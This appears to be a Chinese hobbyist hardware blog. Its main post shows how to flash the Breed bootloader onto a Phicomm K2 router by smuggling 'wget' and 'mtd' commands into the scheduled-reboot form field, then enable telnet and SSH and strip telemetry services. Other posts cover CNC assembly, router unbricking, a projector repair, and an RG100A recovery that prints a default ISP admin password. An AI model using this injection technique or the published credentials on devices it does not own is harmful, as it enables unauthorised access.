分类: 硬件

斐讯K2 刷breed、第三方固件及开启telnet、ssh方法,含原版固件净化、新增功能

2条评论

2017年1月13日 at 上午9:22分类:硬件

jd拿了个免费的斐讯K2:

软件版本: 22.4.5.42
设备型号: K2
硬件版本: A2

据说有收集用户信息的问题:

http://bbs.mydigit.cn/read.php?tid=1572590

需要刷第三方固件或对原版固件进行净化处理

 

1、刷breed

breed类似uboot,用于路由器的引导,刷了breed后,可以方便的刷第三方固件

这里使用的是利用网页执行脚本的漏洞安装breed

便携机无线连接K2,K2 WAN口连internet,先保证可以正常上网
用Firefox,傲游,Chrome等登录http://192.168.2.1

选择右上角的“定时重启路由器”

点选时间中的右侧下拉分钟选择框,鼠标箭头(手势)放在05上,点击鼠标右键,在Firefox或傲游浏览器“审查元素”

双击"05",改为你要执行的命令:

改为:

05 | wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin

在定时重启路由器页面上选择05之后,点击“保存”。

重复上述过程,分别改为:

05 | mtd unlock Bootloader

05 | mtd -r write breed-mt7620-phicomm-psg1208.bin Bootloader

上述操作是利用漏洞执行了3条命令,下载breed并写入bootloader,最后一次保存后,路由器会写breed并重启。

如果路由器没有自动重启,说明操作过程有误,请仔细检查操作过程。

 

进入Breed方法:

拔除K2上Wan口的网线,路由器断电,持续按住路由器上的reset按钮,接通路由器电源,3秒后松开reset按钮。
在浏览器地址栏输入“http://192.168.1.1”访问Breed Web。

进入Breed Web后,请及时进行原始EEPROM、固件备份,然后再刷其他的固件。

 如果不想刷其他第三方固件,想对原版固件进行净化,继续往下处理:

开启telnet方法:

先用breed备份eeprom文件,将备份出来的文件用ultraedit修改:

将0x26、0x27位置修改为10、70,然后通过breed的“固件更新”写入修改的eeprom

重启后可用telnet 192.168.2.1进入shell界面(无密码):

 

安装SSH:

telnet登录后执行(其实ssh应该也可以通过WEB漏洞来安装):

opkg install http://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620a/packages/base/dropbear_2014.63-2_ramips_24kec.ipk
# 开机自启
/etc/init.d/dropbear enable
# 更改root密码为 admin
echo -e "admin\nadmin" | passwd root
# 启动
/etc/init.d/dropbear start

原版固件的净化:
进shell后,先把定时任务干掉

第二个任务是上面设置的定时重启,在web页面关闭

第一个任务比较可疑,半夜两点上传数据?

winscp找到/usr/lib/lua/luci/tools/scheduletask.lua文件

修改luci.sys.call("cp -f %s %s > /dev/null" % {defaultrule,crontabpath})

--luci.sys.call("cp -f %s %s > /dev/null" % {defaultrule,crontabpath})
luci.sys.call("touch %s" % {crontabpath})

 

 

再看有没有可疑网络程序

禁用可疑程序:

/etc/init.d/lc stop

/etc/init.d/lc disable

http_event_inform是厂家远程管理的tr069程序

/etc/init.d/tr069 stop

/etc/init.d/tr069 disable

查看可疑进程:

禁用可疑程序:

/etc/init.d/collect stop

/etc/init.d/collect disable

 

telnet不安全,把telnet也禁掉:

/etc/init.d/telnetd_startup stop

/etc/init.d/telnetd_startup disable

 

重启后网络进程清爽了:

备份修改以后的固件:

 

去除鼠标右键限制:
/usr/lib/lua/luci/view/themes/bootstrap/header.htm
找到
oncontextmenu=self.event.returnValue=false
删除

 

增加功能,比如要增加一个定时开关WIFI的功能(睡觉时间自动将WIFI关闭)

如果是通过shell几行命令就搞定了,我们搞复杂点,实现通过web来配置:
打开/usr/lib/lua/luci/view/themes/bootstrap/header.htm
找到
<li>
<a href="#" id="timeRboot" data-toggle="modal" data-target="#timeRestartModal">定时重启路由器</a>
</li>
在下面增加:
<li>
<a href="#" id="wifiRboot" data-toggle="modal" data-target="#wifiRestartModal">定时重启WIFI</a>
</li>

界面上会出现新增菜单:

依葫芦画瓢修改header.htm增加配置界面:

还需依照/etc/config/timereboot、/usr/lib/lua/luci/controller/admin/timereboot.lua增加相应文件,省略一万字...

所有实现此功能需要修改的文件打包如下,有兴趣者可以参考:

K2

 

软件包添加

现在我们尝试增加一个广告屏蔽的软件包adbyby

首先增加一个控制界面,还是修改/usr/lib/lua/luci/view/themes/bootstrap/header.htm

找到<% elseif v == "more_wlextend" then %>,在此语句上方添加:

<% elseif v == "adbyby" then %>
<li><a class="list_li1_a" href="<%=nodeurl(prefix, v, nnode.query)%>" id="adbyby" style='<%if temp=="adbyby" then%> border-left:3px solid #F08300;color:#F08300;background:#F8F8F8;<%end%>'><div><span class="icon-more_safeset iconSpan"></span><span class="textSpan">广告屏蔽</span></div></a>
</li>

再依葫芦画瓢修改/usr/lib/lua/luci/view/admin_index/index.htm文件:

else if(v == "adbyby")
{
nhref = "<%=luci.dispatcher.build_url("admin", "adbyby")%>";
$(tbsid).html("广告屏蔽")
}

增加/usr/lib/lua/luci/controller/admin/adbyby.lua、/usr/lib/lua/luci/model/cbi/adbyby.lua、/etc/config/adbyby等文件,文件内容可以对应目录powersave的内容进行修改。

刷新界面,出现新菜单:

修改的文件包如下:

adbyby

界面修改后,需加入adbyby的可执行文件,由于adbyby的文件较大,而原版固件的剩余空间较少,只有500多K,因此需进行变通,有人做了一个在ram中运行的adbyby版本:

http://www.right.com.cn/forum/thread-191833-1-1.html

占用flash空间只有20多K,由于程序未开源,有一定风险,安装:

opkg install http://tianbao.sf.net/adbyby

开启
tb ad on

关闭
tb ad off

下一步是将界面和可执行文件关联起来。

未完待续。。。

雕刻机使用记录-1

一条评论

2016年9月30日 at 下午4:25分类:硬件

买了一台玩具CNC,需要自己组装,原以为很简单,结果机械安装搞了一天一夜,才勉强能用,真是隔行如隔山。

 

包含机械雕刻和激光雕刻,前面黑色的头为激光头,激光头后面为机械雕刻头。

安装的难点在于丝杆和导轨的安装,要想安装的顺滑、阻碍小,需要反复调整,而且是几个部件协同调整,牵一发而动全身。

最难的在Z轴的调整,差点就吐血。

三个轴的定义和方向:

机械部分装完后,电路部分就很简单了,就是一个arduino主控板+A4988步进电机驱动板

根据A4988的datasheet(A4988电机驱动),我这个板设置在1/16步进模式,电机转一圈需要3200步,经过测量,丝杠5圈/cm,即2mm/圈,这样丝杆移动1mm需要半圈,需要1600步,在grbl controller中需设置xyz轴的step/mm为1600(如$100=1600):

 

三个步进电机的型号为42H47HM-0504A-23

42表示电机的安装机座尺寸是42mm

 

主电机为775电机

 

激光模块为12V300mA蓝色

TPLINK WR743N V2变砖修复

没有评论

2016年9月8日 at 下午12:48分类:硬件

1、连接TTL串口

2、在出现“Autobooting in 1 seconds   ”时按下tp两按键(有的说要tpl三个按键)

eth0: 00:00:00:00:e7:00
eth0 up
: cfg1 0xf cfg2 0x7214
eth1: 00:03:7f:ff:ff:fe
athrs26_reg_init_lan
ATHRS26: resetting s26
ATHRS26: s26 reset done
eth1 up
eth0, eth1
Autobooting in 1 seconds
hornet>

出现“hornet>”提示符

3、查看当前环境变量

hornet> printenv
bootargs=console=ttyS0,115200 root=31:02 rootfstype=squashfs init=/sbin/init mtdparts=ar7240-nor0:128k(u-boot),1024k(kernel),6912(ro
otfs),64k(config),64k(ART)
bootcmd=bootm 0x9f020000
bootdelay=1
baudrate=115200
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee
ipaddr=192.168.1.1
serverip=192.168.1.100
stdin=serial
stdout=serial
stderr=serial
ethact=eth0

要改变 服务器地址可以用setenv serverip 192.168.1.181

4、计算机与路由器LAN相连,IP设置为192.168.1.100 ,开启tftp服务器

5、tftp上传固件

执行如下命令:

 tftpboot 0x80000000 743.bin 

注意:如果是8M flash把0x3c0000修改为0x7c0000

 erase 0x9f020000 +0x3c0000

注意:如果是8M flash把0x3c0000修改为0x7c0000

 cp.b 0x80000000 0x9f020000 0x3c0000

示例:

hornet> tftpboot 0x80000000 743.bin
dup 1 speed 1000
Using eth1 device
TFTP from server 192.168.1.100; our IP address is 192.168.1.1
Filename '743.bin'.
Load address: 0x80000000
Loading: *#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
######################################################
done
Bytes transferred = 3932160 (3c0000 hex)
hornet> erase 0x9f020000 +0x3c0000

First 0x2 last 0x3d sector size 0x10000
Erased 60 sectors
hornet> cp.b 0x80000000 0x9f020000 0x3c0000

Copy to Flash... write addr: 9f020000
done
hornet> boot

## Booting image at 9f020000 ...
Uncompressing Kernel Image ... OK

Starting kernel ...

[ 0.000000] Linux version 3.18.20 (buildbot@builder1) (gcc version 4.8.3 (OpenWrt/Linaro GCC 4.8-2014.04 r46450) ) #1 Fri Sep 4 21:55:57 CEST 2015
[ 0.000000] bootconsole [early0] enabled

输入boot命令重新启动

 

RG100A变砖后的恢复

没有评论

2016年9月3日 at 下午10:50分类:硬件

1、计算机设置为192.168.1.0网段的固定IP,连接网线到RG100A的LAN口,输入“ping 192.168.1.1 -t”命令

2、按住reset按钮,上电,当计算机ping通后放开

3、浏览器访问http://192.168.1.1,用户名:telecomadmin 密码:nE7jA%5m

4、登录后,上传固件,3分钟左右后会自动重启,恢复正常

固件可以选择官方openwrt.org,也可以选择第三方中文的openwrt.org.cn,我选择的中文的:

http://downloads.openwrt.org.cn/zjhzzyf_img/db120_rg100a/0829-openwrt-rc6-RG100A_DB120-squashfs-cfe.rar

解压后上传。

此固件LAN1-LAN3为LAN口,LAN4为WAN口,缺省IP:192.168.1.1,用户名:root,密码:admin

 

山水X5投影仪维修纪实

没有评论

2016年8月26日 at 下午10:40分类:硬件

山水X5投影仪,使用了快3年了,突然使用过程中断电,再上电无法开机,电源灯不亮。

由于网上资料较少,只能拆开查各个电源芯片的资料。

NB634
稳压器—开关式稳压器

M26123
MP26123 MP26123DR M26123 MPS芯源电池充电芯片
描述:2A,24V输入,600kHz 锂离子电池充电器

 

还有一个333BNAE死活找不到资料

 

经过测量,发现634旁边的电容短路,怀疑是电容损坏导致短路:

就是上图VIN侧的电容,在电路板上是这样的:

上图的C351、C352,另外反面还有一个小的去耦电容,由于板上一个用了3个634E,因此输入电压侧的电容有9个,只能一个一个试,先焊下C351、C352试试,结果人品大爆发,确实是电容短路导致的故障,而且损坏的电容就是C352,用万用表测电阻为0,焊下后上电正常!